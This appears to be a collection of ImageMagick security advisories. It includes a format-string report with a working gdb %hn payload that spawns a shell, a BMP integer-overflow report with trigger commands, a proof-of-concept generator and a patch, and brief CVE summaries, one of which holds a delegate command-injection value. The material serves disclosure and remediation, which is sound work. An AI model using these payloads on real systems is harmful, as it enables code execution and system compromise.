SUMMARY: AddressSanitizer: heap-buffer-overflow splay-tree.c in SplaySplayTree Shadow bytes around the buggy address: 0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c067fff8000:[fa]fa 00 00 00 fa fa fa 00 00 00 00 fa fa 00 00 0x0c067fff8010: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x0c067fff8020: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 0x0c067fff8030: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 0x0c067fff8040: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x0c067fff8050: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==55653==ABORTING Processing a malicious filename containing format string specifiers such as %d%n results in corruption of the SplayTree structure stored in the r8 register. The corrupted structure contains invalid pointer values that are later dereferenced by the SplaySplayTree function, causing the function to access unintended memory locations and triggering a heap overflow condition. <br>
2. Shell execution tested on a local environment
https://github.com/user-attachments/assets/00e6a091-8e77-48f0-959e-c05eff69ff94
~/fuzz gdb -nx -args ./patchedsecure/bin/mogrify %d%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%17995c%hn%c%c%c%c%c%c%c%c%c%65529c%hn%93659c%2176\$hn%233c%2194\$hhnaaaaaaaaa The exploit achieves remote code execution by leveraging format string vulnerabilities to perform a write-what-where attack. The payload systematically overwrites return addresses on the stack, redirecting program execution to a one-gadget ROP chain that spawns a shell with the current process privileges. <br>
Exploitation Process: 1. Format string payload corrupts stack pointers through positional parameters 2. Multiple 2-byte writes (%hn) progressively overwrite the return address 3. Final payload redirects execution to a one-gadget (0x00007ffff66ebc85) 4. One-gadget executes /bin/sh with inherited process permissions <br>
Remote Exploitation Feasibility: While this PoC demonstrates local shell execution with ASLR disabled, remote code execution is achievable in real-world scenarios through brute force attacks. When stack layout conditions are favorable, attackers can perform 1.5-byte return address brute force and 1.5-byte libc base address brute force to gain shell access. <br>
Important: The numeric parameters within the format string payload are environment-dependent and may require modification for different target systems due to variations in memory layout and stack structure.
Note: This demonstrates complete system compromise, as the attacker gains interactive shell access to the target system. <br>
Impact This format string vulnerability enables attackers to achieve complete system compromise through arbitrary memory read/write operations and remote code execution. Attackers can access sensitive data stored in process memory, overwrite critical system structures, and execute arbitrary code with ImageMagick's privileges.
The vulnerability is particularly dangerous in web applications processing user-uploaded images and automated image processing systems. Successful exploitation can lead to privilege escalation, data exfiltration, and lateral movement within compromised networks. <br>
Suggested Fix
Two potential mitigation approaches:
1. Input Validation: Add format string validation in InterpretImageFilename to reject filenames containing format specifiers (%n, %s, %x, etc.) before passing to FormatLocaleString 2. Safe Parsing: Modify the format string processing to parse and validate each format specifier individually rather than passing the entire user-controlled string directly to FormatLocaleString <br>
Credits Team Daemon Fuzz Hunters Bug Hunting Master Program, HSpace/Findthegap <br>
Woojin Park @jin-156 1203kids@gmail.com
Hojun Lee @leehohojune leehojune@korea.ac.kr
Youngin Won @amethyst0225 youngin04@korea.ac.kr
Siyeon Han @hanbunny kokosyeon@gmail.com
Additional notes from the ImageMagick team:
On many modern toolchains and OSes, format‑string exploits using %n are already mitigated or blocked by default (e.g., -Wformat-security, FORTIFYSOURCE, hardened libc behavior, ASLR/stack canaries). That can make exploitation impractical in typical builds so you might not be vulnerable but it would still be wise to upgrade to the most recent version. We also already provide the following mitigation:
To prevent unintended interpretation of the filename as a format string, users can explicitly disable format string parsing by defining the filename as a literal. This can be done using the following directive:
- In wrappers: filename:literal - From the command line: -define filename:literal=true
Summary
A 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses bytesperline (stride) to a tiny value while the per-row writer still emits 3 × width bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.
- Impact: Attacker-controlled heap out-of-bounds (OOB) write during conversion to BMP. - Surface: Typical upload → normalize/thumbnail → magick ... out.bmp workers. - 32-bit: Vulnerable (reproduced with ASan). - 64-bit: Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards. - Proposed severity: Critical 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
---
Scope & Affected Builds
- Project: ImageMagick (BMP writer path, WriteBMPImage in coders/bmp.c). - Commit under test: 3fcd081c0278427fc0e8ac40ef75c0a1537792f7 - Version string from the run: ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712 - Architecture: 32-bit i686 (sizeof(sizet) == 4) with ASan/UBSan. - Note on other versions: Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit.
---
Root Cause (with code anchors)
Stride computation (writer)
c bytesperline = 4 ((image->columns bmpinfo.bitsperpixel + 31) / 32);
Per-row base and 24-bpp loop (writer)
c q = pixels + ((ssizet)image->rows - y - 1) (ssizet)bytesperline; for (x = 0; x < (ssizet)image->columns; x++) { q++ = B(...); q++ = G(...); q++ = R(...); // writes 3 width bytes }
Allocation (writer)
c pixelinfo = AcquireVirtualMemory(image->rows, MagickMax(bytesperline, image->columns + 256UL) sizeof(pixels)); pixels = (unsigned char ) GetVirtualMemoryBlob(pixelinfo);
Dimension “caps” (insufficient)
The writer rejects dimensions that don’t round-trip through signed int, but both overflow thresholds below are ≤ INTMAX on 32-bit, so the caps do not prevent the bug.
---
Integer-Overflow Analysis (32-bit sizet)
Stride formula for 24-bpp:
bytesperline = 4 ((width 24 + 31) / 32)
There are two independent overflow hazards on 32-bit:
1. Stage-1 multiply+add in (width 24 + 31) Overflow iff width > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969 → at width ≥ 178,956,970 the numerator wraps small before /32, producing a tiny bytesperline. 2. Stage-2 final ×4 after the division Let q = (width 24 + 31) / 32. Final ×4 overflows iff q > 0x3FFFFFFF. Solving gives width ≥ 1,431,655,765 (0x55555555).
Both thresholds are below INTMAX (≈2.147e9), so “int caps” don’t help.
Mismatch predicate (guaranteed OOB when overflowed): Per-row write for 24-bpp is rowbytes = 3width. Safety requires rowbytes ≤ bytesperline. Under either overflow, bytesperline collapses → 3width > bytesperline holds → OOB-write.
---
Concrete Demonstration
Chosen width: W = 178,957,200 (just over Stage-1 bound)
- Stage-1: 24W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32) → 5535 - Divide by 32: 5535 / 32 = 172 - Multiply by 4: bytesperline = 172 4 = 688 bytes ← tiny stride - Per-row data (24-bpp): rowbytes = 3W = 536,871,600 bytes - Allocation used: MagickMax(688, W+256) = 178,957,456 bytes - Immediate OOB: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes. ---
Observed Result (ASan excerpt)
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490 WRITE of size 1 in WriteBMPImage coders/bmp.c:2309 ... allocated by: AcquireVirtualMemory MagickCore/memory.c:747 WriteBMPImage coders/bmp.c:2092
- Binary: ELF 32-bit i386, Q8, non-HDRI - Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro)
---
Exploitability & Risk
- Primitive: Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot. - Control: Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP). - Likely deployment: Server-side, non-interactive conversion pipelines (UI:N). - Outcome: At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to RCE.
Note on 64-bit: Without integer overflow, bytesperline = 4 ceil((3width)/4) ≥ 3width, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors.
---
Reproduction (copy-paste triager script)
Test Environment:
- docker run -it --rm --platform linux/386 debian:11 bash - Install deps: apt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python3 - Clone & checkout: ImageMagick 7.1.2-0 → commit 3fcd081c0278427f... - Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary):
bash ./configure \ --host=i686-pc-linux-gnu \ --build=x8664-pc-linux-gnu \ --disable-dependency-tracking \ --disable-silent-rules \ --disable-shared \ --disable-openmp \ --disable-docs \ --without-x \ --without-perl \ --without-magick-plus-plus \ --without-lqr \ --without-zstd \ --without-tiff \ --with-quantum-depth=8 \ --disable-hdri \ CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ LDFLAGS="-fsanitize=address,undefined"
make -j"$(nproc)" - Runtime limits to exercise writer:
bash export MAGICKWIDTHLIMIT=200000000 export MAGICKHEIGHTLIMIT=200000000 export MAGICKTEMPORARYPATH=/tmp export TMPDIR=/tmp export ASANOPTIONS="detectleaks=0:malloccontextsize=20:allocdeallocmismatch=0"
One-liner trigger (no input file):
bash W=178957200 ./utilities/magick \ -limit width 200000000 -limit height 200000000 \ -limit memory 268435456 -limit map 0 -limit disk 200000000000 \ -limit thread 1 \ -size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null
Expected: ASan heap-buffer-overflow in WriteBMPImage (will be provided in a private gist link).
Alternate PoC (raw PPM generator):
python #!/usr/bin/env python3 W, H, MAXV = 180000000, 1, 255 W > 178,956,969 with open("huge.ppm", "wb") as f: f.write(f"P6\n{W} {H}\n{MAXV}\n".encode("ascii")) chunk = (b"\x41\x42\x43") (10241024) remaining = 3 W while remaining: n = min(remaining, len(chunk)) f.write(chunk[:n]); remaining -= n Then: magick huge.ppm out.bmp
---
Proposed Severity
- Primary vector (server auto-convert): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Critical - If strictly CLI/manual conversion: UI:R → 8.8 High
---
Maintainer Pushbacks — Pre-empted
- “MagickMax makes allocation large.” The row base advances by overflowed bytesperline, causing row overlap and eventual region exit regardless of total allocation size. - “We’re 64-bit only.” Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS. - “Resource policy blocks large images.” That’s environment-dependent defense-in-depth; arithmetic must be correct. ---
Remediation (Summary)
Add checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (rowbytes) always fits within the computed stride (bytesperline). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds.
Concretely:
- Validate width and bitsperpixel before the stride formula to ensure (widthbpp + 31) cannot overflow a sizet. - Compute rowbytes for the chosen bpp and assert rowbytes <= bytesperline. - Bound rows stride before allocating and ensure biSizeImage (DIB 32-bit) cannot overflow.
A full suggested guarded implementation is provided in Appendix A — Full patch (for maintainers).
---
Regression Tests to Include (PR-friendly)
1. 32-bit overflow repros (with ASan): - rows=1, width ≥ 178,956,970, bpp=24 → now cleanly errors. - rows=2, same bound → no row overlap; clean error. 2. 64-bit sanity: Medium images (e.g., 8192×4096, 24-bpp) round-trip; header’s biSizeImage = rows bytesperline. 3. Packed bpp (1/4/8): Validate rowbytes = (widthbpp+7)/8 (guarded), 4-pad, and payload ≤ stride holds.
---
Attachments (private BMPPackage) Provided with report: README.md, pocppmgenerator.py, reprocommands.sh, fullasanbmpcrash.txt, appendixapatchblock.c. (Private gist link with package provided separately.)
---
Disclosure & Coordination
- Reporter: Lumina Mescuwa - Tested on: i686 Linux container (details in Repro) - Timeline: August 19th, 2025
---
Appendices
Appendix A — Patch block tailored to bmp.c
Where this hooks in (current code):
- Stride is computed here: bytesperline=4((image->columnsbmpinfo.bitsperpixel+31)/32); - Header uses bmpinfo.imagesize=(unsigned int) (bytesperlineimage->rows); - Allocation uses AcquireVirtualMemory(image->rows, MagickMax(bytesperline, image->columns+256UL)sizeof(pixels)); - 24-bpp row loop writes pixels then zero-pads up to bytesperline (so the per-row slot size matters): for (x=3L(ssizet)image->columns; x < (ssizet)bytesperline; x++) q++=0x00;
---
Suggested Patch (minimal surface, guards + invariant)
I recommend this in place of the existing bytesperline assignment and the subsequent bmpinfo.imagesize / allocation block. Keep your macros and local variables as-is.
c / --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- /
/ 1) Guard the original stride arithmetic (preserve behavior, add checks). / if (bmpinfo.bitsperpixel == 0 || (sizet)image->columns > (SIZEMAX - 31) / (sizet)bmpinfo.bitsperpixel) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
sizet tmp = (sizet)image->columns (sizet)bmpinfo.bitsperpixel + 31; / Divide first; then check the final ×4 won't overflow. / tmp /= 32; if (tmp > (SIZEMAX / 4)) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
bytesperline = 4 tmp; / same formula as before, now checked /
/ 2) Compute the actual data bytes written per row for the chosen bpp. / sizet rowbytes; if (bmpinfo.bitsperpixel == 1 || bmpinfo.bitsperpixel == 4 || bmpinfo.bitsperpixel == 8) { / packed: ceil(widthbpp/8) / if ((sizet)image->columns > (SIZEMAX - 7) / (sizet)bmpinfo.bitsperpixel) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); rowbytes = (((sizet)image->columns (sizet)bmpinfo.bitsperpixel) + 7) >> 3; } else { / 16/24/32 bpp: (bpp/8) width / sizet bppbytes = (sizet)bmpinfo.bitsperpixel / 8; if (bppbytes == 0 || (sizet)image->columns > SIZEMAX / bppbytes) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); rowbytes = bppbytes (sizet)image->columns; }
/ 3) Per-row safety invariant: the payload must fit the stride. / if (rowbytes > bytesperline) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");
/ 4) Guard header size and allocation products. / if ((sizet)image->rows == 0) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
/ biSizeImage = rows bytesperline (DIB field is 32-bit) / if (bytesperline > 0xFFFFFFFFu / (sizet)image->rows) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); bmpinfo.imagesize = (unsigned int)(bytesperline (sizet)image->rows);
/ Allocation count = rows strideused, with existing MagickMax policy. / sizet stride = MagickMax(bytesperline, (sizet)image->columns + 256UL); if (stride > SIZEMAX / (sizet)image->rows) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");
pixelinfo = AcquireVirtualMemory((sizet)image->rows, stride sizeof(pixels)); if (pixelinfo == (MemoryInfo ) NULL) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed"); pixels = (unsigned char ) GetVirtualMemoryBlob(pixelinfo);
/ Optional: keep zeroing aligned to computed header size. / (void) memset(pixels, 0, (sizet) bmpinfo.imagesize);
/ --- PATCH END --- /
Why this is the right spot?
- It replaces the unguarded stride line you currently have, without changing the algorithm (still 4((Wbpp+31)/32)). - It fixes the header (biSizeImage) to be a checked product, instead of a potentially wrapped multiplication. - It guards allocation where you presently allocate rows × MagickMax(bytesperline, columns+256). - The invariant rowbytes ≤ bytesperline ensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads to bytesperline) can never exceed the per-row slot the code relies on.
---
Notes
- Behavior preserved: The stride value for normal images is unchanged; only pathological integer states are rejected. - Header consistency: biSizeImage = rows bytesperline remains true by construction, but now cannot overflow a 32-bit DIB field. - Defensive alignment: If you prefer, you can compute bytesperline as ((rowbytes + 3) & ~3U); it’s equivalent and may read clearer, but I kept the original formula with guards to minimize diff.
A slightly larger “helpers” variant (with safemulsize / safeaddsize utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF→OOB class without touching unrelated code paths.
Appendix B — Arithmetic Worked Example (W=178,957,200)
- (24W + 31) mod 2^32 = 5535 - bytesperline = 4 (5535/32) = 688 - rowbytes (24-bpp) = 536,871,600 - Allocation via MagickMax = 178,957,456 → immediate row 0 out-of-bounds.
Appendix C — Raw ASan Log (trimmed)
================================================================= ==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490 WRITE of size 1 at 0x6eaac490 thread T0 #0 0xed2788 in WriteBMPImage coders/bmp.c:2309 #1 0x13da32c in WriteImage MagickCore/constitute.c:1342 #2 0x13dc657 in WriteImages MagickCore/constitute.c:1564 0x6eaac490 is located 0 bytes to the right of 178957456-byte region allocated by thread T0 here: #0 0x408e30ab in interceptorposixmemalign #1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747 #2 0xecd597 in WriteBMPImage coders/bmp.c:2092
A memory allocation failure was found in ImageMagick in quantum.c.
Upstream patch:
https://github.com/ImageMagick/ImageMagick/commit/6e48aa92ff4e6e95424300ecd52a9ea453c19c60
References:
http://seclists.org/oss-sec/2016/q4/66 https://blogs.gentoo.org/ago/2016/10/07/imagemagick-memory-allocate-failure-in-acquirequantumpixels-quantum-c/
A memory allocation failure was found in ImageMagick in memory.c
References:
http://seclists.org/oss-sec/2016/q4/167 https://blogs.gentoo.org/ago/2016/10/17/imagemagick-memory-allocation-failure-in-acquiremagickmemory-memory-c/
Upstream patch:
https://github.com/ImageMagick/ImageMagick/commit/aea6c6507f55632829e6432f8177a084a57c9fcc
coders/jpeg.c in ImageMagick before 7.0.6-1 allows remote attackers to cause a denial of service (application crash) or possibly have unspecified other impact via JPEG data that is too short.
ImageMagick before 7.0.8-54 has a heap-based buffer overflow in ReadPSInfo in coders/ps.c.
ImageMagick before 7.0.8-50 has a "use of uninitialized value" vulnerability in the function ReadCUTImage in coders/cut.c.
ImageMagick before 7.0.8-55 has a use-after-free in DestroyStringInfo in MagickCore/string.c because the error manager is mishandled in coders/jpeg.c.
It was discovered that the upstream fix for this issue was not complete. There is still a memory allocation failure in memory.c
References:
http://seclists.org/oss-sec/2016/q4/197 https://blogs.gentoo.org/ago/2016/10/20/imagemagick-memory-allocation-failure-in-acquiremagickmemory-memory-c-incomplete-fix-for-cve-2016-8862/
ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 7.1.2-15 and 6.9.13-40, ImageMagick’s path security policy is enforced on the raw filename string before the filesystem resolves it. As a result, a policy rule such as /etc/ can be bypassed by a path traversal. The OS resolves the traversal and opens the sensitive file, but the policy matcher only sees the unnormalized path and therefore allows the read. This enables local file disclosure (LFI) even when policy-secure.xml is applied. Actions to prevent reading from files have been taken in versions .7.1.2-15 and 6.9.13-40 But it make sure writing is also not possible the following should be added to one's policy. This will also be included in ImageMagick's more secure policies by default.
A vulnerability was found in ImageMagick. Insufficient filtering for filename passed to delegate's command allows remote code execution during conversion of several file formats.
ImageMagick allows to process files with external libraries. This feature is called 'delegate'. It is implemented as a system() with command string ('command') from the config file delegates.xml with actual value for different params (input/output filenames etc). Due to insufficient %M param filtering it is possible to conduct shell command injection. One of the default delegate's command is used to handle https requests:
"wget" -q -O "%o" "https:%M"
where %M is the actual link from the input. It is possible to pass the value like https://example.com"|ls "-la and execute unexpected 'ls -la'. (wget or curl should be installed).
ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to 7.1.2-31 and 6.9.13-56, a missing security-policy check in the CUT encoder allows a crafted local encoding operation to read data that policy should deny and can also cause a crash. This issue is fixed in versions 7.1.2-31 and 6.9.13-56.
An integer overflow in DIB coder can result in out of bounds read or write
ImageMagick is free and open-source software used for editing and manipulating digital images. The shipped "secure" security policy includes a rule intended to prevent reading/writing from standard streams. However, ImageMagick also supports fd:<n> pseudo-filenames (e.g., fd:0, fd:1). Prior to versions 7.1.2-15 and 6.9.13-40, this path form is not blocked by the secure policy templates, and therefore bypasses the protection goal of "no stdin/stdout." Versions 7.1.2-15 and 6.9.13-40 contain a patch by including a change to the more secure policies by default. As a workaround, add the change to one's security policy manually.
An extremely large image profile could result in a heap overflow when encoding a PNG image.